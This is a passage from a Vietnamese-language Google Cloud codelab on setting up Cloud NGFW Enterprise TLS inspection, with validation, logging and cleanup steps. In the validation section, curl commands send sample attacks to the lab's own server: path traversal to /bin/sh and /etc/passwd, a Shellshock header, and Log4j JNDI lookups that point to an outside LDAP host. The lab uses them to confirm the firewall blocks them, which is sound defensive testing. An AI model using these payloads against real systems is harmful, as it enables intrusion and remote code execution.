Các lệnh trên đã bao gồm chứng chỉ CA gốc trong kho lưu trữ uy tín vì chứng chỉ máy chủ của bạn được ký bằng CA gốc. Điều này có nghĩa là tường lửa sẽ tin tưởng mọi chứng chỉ mà tường lửa nhận được đã được CA gốc của bạn ký – ngoài các CA công khai nếu chính sách TLS của bạn có excludePublicCaSet thành false.
Kiểm tra nội dung của cấu hình tin cậy.
cat trust_config.yaml
Kết quả mẫu:
Hãy chú ý đến việc căn chỉnh thụt đầu dòng của chứng chỉ. Bạn phải tuân thủ chính xác định dạng này.
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
Nhập cấu hình tin cậy:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
Cập nhật tệp YAML Chính sách TLS để thêm cấu hình tin cậy:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
Nhập Chính sách TLS mới nhất:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. Xác thực hoạt động kiểm tra TLS E/W
SSH trở lại máy khách để kiểm thử lưu lượng truy cập E/W bằng cấu hình tin cậy đã cập nhật:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Chạy yêu cầu TLS mẫu đến máy chủ:
curl https://$target_privateip --max-time 2
Nếu bạn vẫn nhận được kết quả bên dưới, vui lòng đợi các bản cập nhật được truyền tải.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Kết quả đầu ra dự kiến:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Gửi lưu lượng truy cập thử nghiệm độc hại đến máy chủ:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Kết quả đầu ra dự kiến:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Không nhận được phản hồi nào theo đầu ra dự kiến bên dưới, xác nhận rằng các cuộc tấn công mẫu hiện đang bị chặn đối với lưu lượng truy cập Đông/Tây.
13. Ghi nhật ký
Chuyển đến mục Logging > Logs Explorer (Ghi nhật ký > Trình khám phá nhật ký) thông qua Cloud Console, nhập bộ lọc bên dưới rồi truy vấn nhật ký. Thay thế [PROJECT_ID] bằng project_id của bạn:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Bạn sẽ thấy các mục nhật ký Cloud NGFW Enterprise tương tự như bên dưới:

Mở rộng các mục nhập nhật ký và lưu ý rằng các cuộc tấn công được gửi từ máy ảo ứng dụng đến máy chủ đã được xác định và chặn (Lỗ hổng thực thi mã từ xa Apache Log4j theo ảnh chụp màn hình bên dưới).

Bạn đã triển khai thành công Cloud NGFW Enterprise có tính năng Kiểm tra TLS để chặn các yêu cầu độc hại.
Chuyển sang phần tiếp theo để xem các bước dọn dẹp.
14. Các bước dọn dẹp
Dọn dẹp chế độ thiết lập cơ bản
Xoá các phiên bản:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Thực hiện các bước bên dưới nếu vai trò tagAdmin và tagUsers bị thay đổi:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Xoá khoá và giá trị Thẻ:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Xoá Chính sách mạng của Tường lửa trên đám mây và mối liên kết:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Xoá Cloud Router và Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Xoá các địa chỉ IP dành riêng:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
SPG, mối liên kết và việc dọn dẹp TLS của Tường lửa trên đám mây
Xoá Nhóm hồ sơ bảo mật và Hồ sơ mối đe doạ theo thứ tự sau:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Xoá mối liên kết điểm cuối của Tường lửa trên đám mây:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Xoá điểm cuối Tường lửa đám mây. Thao tác này có thể mất khoảng 20 phút:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Bạn có thể xác nhận rằng điểm cuối Cloud NGFW đã bị xoá bằng cách chạy lệnh bên dưới:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Trạng thái của điểm cuối phải cho biết:
STATE: DELETING
Khi hoàn tất, điểm cuối sẽ không còn xuất hiện trong danh sách nữa.
Xoá Chính sách TLS và Cấu hình tin cậy theo thứ tự sau:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Tắt và xoá CA gốc và Nhóm CA:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Dọn dẹp mạng con và VPC
Cuối cùng, hãy xoá mạng con và mạng VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. Xin chúc mừng!
Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình Cloud NGFW Enterprise để kiểm tra TLS theo hướng Đông – Tây và hướng Bắc.